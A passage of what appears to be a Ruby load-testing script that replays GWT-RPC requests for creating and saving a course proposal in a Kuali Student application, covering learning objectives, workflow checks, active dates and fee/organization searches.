|17|5|6|7|0|1|8|22|14|119|-395|-397|-389|-393|-1|-387|8|120|14|121|8|50|14|122|8|96|17|5|6|7|0|2|18|-15|14|123|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|124|-415|-417|-409|-413|-1|-407|8|125|17|5|6|7|0|2|18|-15|14|126|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|127|-431|-433|-425|-429|-1|-423|8|128|17|5|6|7|0|0|-1|-439|8|129|17|5|6|7|0|3|8|130|46|55|1854995943|1314259992576|519000000|8|131|132|133|1|0|8|134|14|135|-1|-443|8|21|17|5|6|7|0|2|8|116|17|5|6|7|0|1|8|22|14|117|-457|-459|8|13|17|5|6|7|0|1|8|22|14|136|-457|-465|-1|-455|8|137|17|5|6|7|0|12|8|138|14|139|8|30|14|140|8|39|17|5|6|7|0|5|8|52|14|65|8|54|46|55|1854996146|1314259992576|722000000|8|56|14|65|8|57|46|55|1861299120|1314259992576|696000000|8|58|14|141|-473|-479|8|35|14|142|8|143|17|5|6|7|0|1|18|-15|14|104|-473|-497|8|144|14|145|8|146|17|5|6|7|0|0|-473|-505|8|147|17|5|6|7|0|0|-473|-509|8|148|14|149|8|48|14|150|8|50|14|151|8|152|14|153|-1|-471|8|154|17|5|6|7|0|1|8|155|17|5|6|7|0|0|-523|-525|-1|-521|0|0|\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"#{contents1}#{contents2}\"\n },\n {\n 'subst' => 'true',\n :dyn_variables => [\n {\"name\" => opts[:lo_category_var_name], \"re\" => opts[:lo_category_var_regexp]}\n ]\n }\n )\n\n #@request.add(\"DEBUG/lo_category_var_name/%%_#{opts[:lo_category_var_name]}%%\", {}, {'subst' => 'true'})\n\n @request.add_thinktime(2)\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/LoCategoryRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|4|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|AC3B9DCF992DD862E331BCB0704203E2|org.kuali.student.lum.common.client.lo.rpc.LoCategoryRpcService|getLoCategoryTypes|1|2|3|4|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getActionsRequested|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|12BDE6C2DA6A7CF74BE0FBF074E806E1|org.kuali.student.core.proposal.ui.client.service.ProposalRpcService|getProposalByWorkflowId|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementTypeForCourse|java.lang.String/2004016611|kuali.statement.type.course|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getCourseStatements|java.lang.String/2004016611|%%_#{opts[:clu_ref_dyn_var_name]}%%|KUALI.RULE|en|1|2|3|4|3|5|5|5|6|7|8|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n \n #\n # Course Requisites\n # Save without editing anything\n\n @request.add_thinktime(5)\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|10|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|storeCourseStatements|java.lang.String/2004016611|java.util.Map|%%_#{opts[:clu_ref_dyn_var_name]}%%|draft|java.util.HashMap/962170901|java.util.LinkedHashMap/1551059846|1|2|3|4|4|5|5|6|6|7|8|9|0|10|0|0|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementTypeForCourse|java.lang.String/2004016611|kuali.statement.type.course|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getCourseStatements|java.lang.String/2004016611|%%_#{opts[:clu_ref_dyn_var_name]}%%|KUALI.RULE|en|1|2|3|4|3|5|5|5|6|7|8|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n \n #\n # Active Dates\n # Start = Fall Sem 2008\n #\n\n @request.add_thinktime(10)\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|20|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|atp.advancedAtpSearchParam.atpType|java.lang.String/2004016611|kuali.atp.type.Spring|kuali.atp.type.Summer|kuali.atp.type.Fall|kuali.atp.type.Session1|kuali.atp.type.Session2|kuali.atp.type.Mini-mester1A|kuali.atp.type.Mini-mester1B|atp.advancedAtpSearchParam.atpStartDateAtpConstraintId|kuali.atp.FA2008-2009|atp.search.advancedAtpSearch|atp.resultColumn.atpStartDate|1|2|3|4|1|5|5|0|0|6|2|7|8|6|7|9|10|9|11|9|12|9|13|9|14|9|15|9|16|0|7|17|0|18|19|20|0|0|\"\n }\n )\n\n # Save & Continue\n contents1 = \"5|0|162|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|A239E8C5A2EDCD8BCE6061BF191A8095|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|saveData|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|passFail|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|audit|finalExamStatus|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|STD|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|AL|_runtimeData|id-translation|All|code|#{opts[:subject_area]}#{opts[:course_suffix]}|courseNumberSuffix|#{opts[:course_suffix]}|courseSpecificLOs|loCategoryInfoList|id|%%_#{opts[:lo_category_id_var_name]}%%|loRepository|kuali.loRepository.key.singleUse|metaInfo|createId|admin|createTime|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|java.sql.Timestamp/1769758459|updateId|updateTime|versionInd|0|name|#{opts[:lo_category]}|state|active|type|loCategoryType.subject|loDisplayInfoList|loInfo|sequence|desc|formatted|#{opts[:lo_cat_text]}|plain|%%_#{opts[:lo_category_var_name]}%%|loRepositoryKey|#{opts[:propose_person]}|SINGLE USE LO|draft|kuali.lo.type.singleUse|courseTitle|#{opts[:course_title]}|creditOptions|fixedCreditValue|10.0|kuali.creditType.credit.degree.10.0|resultValues|kuali.resultComponentType.credit.degree.fixed|Credits, Fixed|crossListings|descr|#{opts[:course_description]}|duration|atpDurationTypeKey|kuali.atp.duration.Semester|timeQuantity|org.kuali.student.common.assembly.data.Data$IntegerValue/3605481012|Semester|expenditure|affiliatedOrgs|fees|formats|activities|activityType|kuali.lu.type.activity.Lab|contactHours|unitQuantity|10|unitType|kuali.atp.duration.week|per week|defaultEnrollmentEstimate|kuali.atp.duration.Week|Week|%%_#{opts[:atp_duration_week_var_name]}%%|1|unitsContentOwner|Lab|%%_#{opts[:lab_var_name]}%%|termsOffered|kuali.lu.type.CreditCourseFormatShell|gradingOptions|kuali.resultComponent.grade.letter|Letter|%%_#{opts[:clu_ref_dyn_var_name]}%%|instructors|personId|#{opts[:instructor]}|#{opts[:instructor]}, #{opts[:instructor]}(#{opts[:instructor]})|joints|level|100|3|pilotCourse|revenues|specialTopicsCourse|subjectArea|#{opts[:subject_area]}|kuali.atp.season.Any|Any|transcriptTitle|#{opts[:course_short_title]}|kuali.lu.type.CreditCourse|#{opts[:oversight_dept_number]}|#{oversight_department}|unitsDeployment|%%_#{opts[:admin_dep_var_name]}%%|#{admin_org}|variations|versionInfo|currentVersionStart|sequenceNumber|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|versionIndId|%%_#{opts[:version_ind_id_name]}%%|Standard final Exam|dirty|startTerm|endTerm|proposal|workflowNode|PreRoute|%%_#{opts[:proposal_dyn_var_name]}%%|5|#{opts[:proposal_title]}|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|rationale|#{opts[:course_rationale]}|Saved|kuali.proposal.type.course.create|workflowId|%%_#{opts[:proposal_doc_id_var_name]}%%|collaboratorInfo|collaborators|kuali.atp.FA2008-2009\"\n contents2 = \"|1|2|3|4|1|5|5|6|7|0|38|8|9|10|11|0|8|12|10|-5|8|13|14|15|8|16|17|5|6|7|0|2|18|19|0|14|20|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|23|-19|-21|-12|-17|-1|-10|8|24|14|25|8|26|14|27|8|28|17|5|6|7|0|1|18|-15|17|5|6|7|0|3|8|29|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|30|14|31|8|32|14|33|8|34|17|5|6|7|0|5|8|35|14|36|8|37|38|39|3759152200|1288490188800|0|8|40|14|36|8|41|38|39|3759152200|1288490188800|0|8|42|14|43|-45|-51|8|44|14|45|8|46|14|47|8|48|14|49|-41|-43|-37|-39|8|50|17|5|6|7|0|0|-37|-73|8|51|17|5|6|7|0|8|8|52|14|43|8|53|17|5|6|7|0|2|8|54|14|55|8|56|14|55|-79|-83|8|30|14|57|8|58|14|33|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1864356667|1314259992576|243000000|8|40|14|59|8|41|38|39|1864356667|1314259992576|243000000|8|42|14|43|-79|-95|8|44|14|60|8|46|14|61|8|48|14|62|-37|-77|-33|-35|-1|-31|8|63|14|64|8|65|17|5|6|7|0|1|18|-15|17|5|6|7|0|7|8|66|14|67|8|30|14|68|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1861297882|1314259992576|458000000|8|40|14|59|8|41|38|39|1861297882|1314259992576|458000000|8|42|14|43|-125|-131|8|69|17|5|6|7|0|1|18|-15|14|67|-125|-147|8|46|14|61|8|48|14|70|8|21|17|5|6|7|0|1|8|48|17|5|6|7|0|1|8|22|14|71|-159|-161|-125|-157|-121|-123|-1|-119|8|72|17|5|6|7|0|0|-1|-167|8|73|17|5|6|7|0|1|8|56|14|74|-1|-171|8|75|17|5|6|7|0|3|8|76|14|77|8|78|79|19|2|8|21|17|5|6|7|0|1|8|76|17|5|6|7|0|1|8|22|14|80|-188|-190|-179|-186|-1|-177|8|81|17|5|6|7|0|1|8|82|17|5|6|7|0|0|-198|-200|-1|-196|8|83|17|5|6|7|0|0|-1|-204|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|85|17|5|6|7|0|1|18|-15|17|5|6|7|0|9|8|86|14|87|8|88|17|5|6|7|0|3|8|89|14|90|8|91|14|92|8|21|17|5|6|7|0|1|8|91|17|5|6|7|0|1|8|22|14|93|-236|-238|-228|-234|-222|-226|8|94|79|19|100|8|75|17|5|6|7|0|3|8|76|14|95|8|78|79|19|13|8|21|17|5|6|7|0|1|8|76|17|5|6|7|0|1|8|22|14|96|-258|-260|-249|-256|-222|-247|8|30|14|97|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1861297868|1314259992576|444000000|8|40|14|59|8|41|38|39|1864356631|1314259992576|207000000|8|42|14|98|-222|-268|8|46|14|61|8|99|17|5|6|7|0|0|-222|-286|8|21|17|5|6|7|0|1|8|86|17|5|6|7|0|1|8|22|14|100|-292|-294|-222|-290|-218|-220|-214|-216|8|30|14|101|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1861297859|1314259992576|435000000|8|40|14|59|8|41|38|39|1864356620|1314259992576|196000000|8|42|14|98|-214|-302|8|46|14|61|8|102|17|5|6|7|0|0|-214|-320|8|48|14|103|-210|-212|-1|-208|8|104|17|5|6|7|0|2|18|-15|14|105|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|106|-334|-336|-328|-332|-1|-326|8|30|14|107|8|108|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|109|14|110|8|21|17|5|6|7|0|1|8|109|17|5|6|7|0|1|8|22|14|111|-356|-358|-350|-354|-346|-348|-1|-344|8|112|17|5|6|7|0|0|-1|-364|8|113|14|114|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1854995943|1314259992576|519000000|8|40|14|59|8|41|38|39|1864356597|1314259992576|173000000|8|42|14|115|-1|-370|8|116|10|-5|8|117|17|5|6|7|0|0|-1|-388|8|118|10|-5|8|46|14|61|8|119|14|120|8|102|17|5|6|7|0|2|18|-15|14|121|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|122|-406|-408|-400|-404|-1|-398|8|123|14|124|8|48|14|125|8|99|17|5|6|7|0|2|18|-15|14|126|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|127|-426|-428|-420|-424|-1|-418|8|128|17|5|6|7|0|2|18|-15|14|129|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|130|-442|-444|-436|-440|-1|-434|8|131|17|5|6|7|0|0|-1|-450|8|132|17|5|6|7|0|3|8|133|38|39|1854995943|1314259992576|519000000|8|134|135|136|1|0|8|137|14|138|-1|-454|8|21|17|5|6|7|0|3|8|119|17|5|6|7|0|1|8|22|14|120|-468|-470|8|13|17|5|6|7|0|1|8|22|14|139|-468|-476|8|140|17|5|6|7|0|2|8|141|10|11|1|8|142|10|-488|-468|-482|-1|-466|8|143|17|5|6|7|0|12|8|144|14|145|8|30|14|146|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1854996146|1314259992576|722000000|8|40|14|59|8|41|38|39|1864357928|1314259992576|504000000|8|42|14|147|-493|-499|8|44|14|148|8|149|17|5|6|7|0|1|18|-15|14|107|-493|-517|8|150|14|151|8|152|17|5|6|7|0|0|-493|-525|8|153|17|5|6|7|0|0|-493|-529|8|154|14|155|8|46|14|156|8|48|14|157|8|158|14|159|-1|-491|8|160|17|5|6|7|0|1|8|161|17|5|6|7|0|0|-543|-545|-1|-541|-486|14|162|-489|14|0|0|0|\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"#{contents1}#{contents2}\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getActionsRequested|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|12BDE6C2DA6A7CF74BE0FBF074E806E1|org.kuali.student.core.proposal.ui.client.service.ProposalRpcService|getProposalByWorkflowId|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n \n \n #\n # Financials\n # $100 lab fee\n # Admin org 100% rev and exp\n #\n\n @request.add_thinktime(5)\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.fee.feeType|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n # Revenue - Admin Org\n for i in 1..admin_org.length\n itr = i-1\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|16|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|org.queryParam.orgOptionalLongName|#{admin_org[0..itr]}|org.queryParam.orgOptionalType|java.lang.String/2004016611|kuali.org.Department|kuali.org.College|org.search.generic||1|2|3|4|1|5|5|0|6|0|7|2|8|9|0|10|8|11|7|2|12|13|12|14|0|15|16|0|0|\"\n } \n ) \n end\n\n @request.add_thinktime(5)\n\n # Expense - Admin Org\n for i in 1..admin_org.length\n itr = i-1\n if(i == admin_org.length)\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|16|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|org.queryParam.orgOptionalLongName|#{admin_org[0..itr]}|org.queryParam.orgOptionalType|java.lang.String/2004016611|kuali.org.Department|kuali.org.College|org.search.generic||1|2|3|4|1|5|5|0|6|0|7|2|8|9|0|10|8|11|7|2|12|13|12|14|0|15|16|0|0|\"\n },\n {\n :dyn_variables => [\n {\"name\" => opts[:admin_dep_var_name], \"re\" => opts[:admin_dep_var_regexp]}\n ]\n } \n )\n else\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|16|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|org.queryParam.orgOptionalLongName|#{admin_org[0..itr]}|org.queryParam.orgOptionalType|java.lang.String/2004016611|kuali.org.Department|kuali.org.College|org.search.generic||1|2|3|4|1|5|5|0|6|0|7|2|8|9|0|10|8|11|7|2|12|13|12|14|0|15|16|0|0|\"\n } \n )\n end \n end\n\n #@request.add(\"DEBUG/admin_dep_var_name/%%_#{opts[:admin_dep_var_name]}%%\", {}, {'subst' => 'true'})\n\n @request.add_thinktime(20)\n\n # Save & Continue\n contents1 = \"5|0|173|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|A239E8C5A2EDCD8BCE6061BF191A8095|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|saveData|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|passFail|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|audit|finalExamStatus|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|STD|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|AL|_runtimeData|id-translation|All|code|#{opts[:subject_area]}#{opts[:course_suffix]}|courseNumberSuffix|#{opts[:course_suffix]}|courseSpecificLOs|loCategoryInfoList|id|%%_#{opts[:lo_category_id_var_name]}%%|loRepository|kuali.loRepository.key.singleUse|metaInfo|createId|admin|createTime|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|java.sql.Timestamp/1769758459|updateId|updateTime|versionInd|0|name|#{opts[:lo_category]}|state|active|type|loCategoryType.subject|loDisplayInfoList|loInfo|sequence|desc|formatted|#{opts[:lo_cat_text]}|plain|%%_#{opts[:lo_category_var_name]}%%|loRepositoryKey|#{opts[:propose_person]}|1|SINGLE USE LO|draft|kuali.lo.type.singleUse|courseTitle|#{opts[:course_title]}|creditOptions|fixedCreditValue|10.0|kuali.creditType.credit.degree.10.0|resultValues|kuali.resultComponentType.credit.degree.fixed|Credits, Fixed|crossListings|descr|#{opts[:course_description]}|duration|atpDurationTypeKey|kuali.atp.duration.Semester|timeQuantity|org.kuali.student.common.assembly.data.Data$IntegerValue/3605481012|Semester|effectiveDate|expenditure|affiliatedOrgs|dirty|orgId|percentage|created|%%_#{opts[:admin_dep_var_name]}%%|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|fees|feeType|rateType|kuali.enum.type.feeTypes.labFee|fixedRateFee|feeAmounts|currencyQuantity|formats|activities|activityType|kuali.lu.type.activity.Lab|contactHours|unitQuantity|10|unitType|kuali.atp.duration.week|per week|defaultEnrollmentEstimate|kuali.atp.duration.Week|Week|%%_#{opts[:atp_duration_week_var_name]}%%|2|unitsContentOwner|Lab|%%_#{opts[:lab_var_name]}%%|termsOffered|kuali.lu.type.CreditCourseFormatShell|gradingOptions|kuali.resultComponent.grade.letter|Letter|%%_#{opts[:clu_ref_dyn_var_name]}%%|instructors|personId|#{opts[:instructor]}|#{opts[:instructor]}, #{opts[:instructor]}(#{opts[:instructor]})|joints|level|100|4|pilotCourse|revenues|specialTopicsCourse|startTerm|kuali.atp.FA2008-2009|subjectArea|#{opts[:subject_area]}|kuali.atp.season.Any|Any|transcriptTitle|#{opts[:course_short_title]}|kuali.lu.type.CreditCourse|#{opts[:oversight_dept_number]}|#{oversight_department}|unitsDeployment|#{admin_org}|variations|versionInfo|currentVersionStart|sequenceNumber|versionIndId|%%_#{opts[:version_ind_id_name]}%%|Fall Semester of 2008|Standard final Exam|proposal|workflowNode|PreRoute|%%_#{opts[:proposal_dyn_var_name]}%%|6|#{opts[:proposal_title]}|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|rationale|#{opts[:course_rationale]}|Saved|kuali.proposal.type.course.create|workflowId|%%_#{opts[:proposal_doc_id_var_name]}%%|collaboratorInfo|collaborators\"\n contents2 = \"|1|2|3|4|1|5|5|6|7|0|38|8|9|10|11|0|8|12|10|-5|8|13|14|15|8|16|17|5|6|7|0|2|18|19|0|14|20|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|23|-19|-21|-12|-17|-1|-10|8|24|14|25|8|26|14|27|8|28|17|5|6|7|0|1|18|-15|17|5|6|7|0|3|8|29|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|30|14|31|8|32|14|33|8|34|17|5|6|7|0|5|8|35|14|36|8|37|38|39|3759152200|1288490188800|0|8|40|14|36|8|41|38|39|3759152200|1288490188800|0|8|42|14|43|-45|-51|8|44|14|45|8|46|14|47|8|48|14|49|-41|-43|-37|-39|8|50|17|5|6|7|0|0|-37|-73|8|51|17|5|6|7|0|8|8|52|14|43|8|53|17|5|6|7|0|2|8|54|14|55|8|56|14|55|-79|-83|8|30|14|57|8|58|14|33|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1864356667|1314259992576|243000000|8|40|14|59|8|41|38|39|1866434943|1314259992576|519000000|8|42|14|60|-79|-95|8|44|14|61|8|46|14|62|8|48|14|63|-37|-77|-33|-35|-1|-31|8|64|14|65|8|66|17|5|6|7|0|1|18|-15|17|5|6|7|0|7|8|67|14|68|8|30|14|69|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1861297882|1314259992576|458000000|8|40|14|59|8|41|38|39|1861297882|1314259992576|458000000|8|42|14|43|-125|-131|8|70|17|5|6|7|0|1|18|-15|14|68|-125|-147|8|46|14|62|8|48|14|71|8|21|17|5|6|7|0|1|8|48|17|5|6|7|0|1|8|22|14|72|-159|-161|-125|-157|-121|-123|-1|-119|8|73|17|5|6|7|0|0|-1|-167|8|74|17|5|6|7|0|1|8|56|14|75|-1|-171|8|76|17|5|6|7|0|3|8|77|14|78|8|79|80|19|2|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|81|-188|-190|-179|-186|-1|-177|8|82|38|39|470887936|1219770712064|0|8|83|17|5|6|7|0|1|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|3|8|21|17|5|6|7|0|3|8|85|17|5|6|7|0|2|8|86|10|11|1|8|87|10|-221|-213|-215|8|88|10|-221|-211|17|5|6|7|0|1|-215|17|5|6|7|0|1|-224|10|-221|-227|-215|-213|-211|-209|-211|-219|14|89|-222|90|91|100|0|-205|-207|-201|-203|-1|-199|8|92|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|-211|17|5|6|7|0|3|-215|17|5|6|7|0|2|8|93|10|-221|8|94|10|-221|-245|-215|8|88|10|-221|-211|17|5|6|7|0|1|-215|17|5|6|7|0|1|-254|10|-221|-257|-215|-245|-211|-242|-211|-250|14|95|-252|14|96|8|97|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|98|80|19|100|-211|17|5|6|7|0|1|-215|17|5|6|7|0|1|-273|10|-221|-277|-215|-271|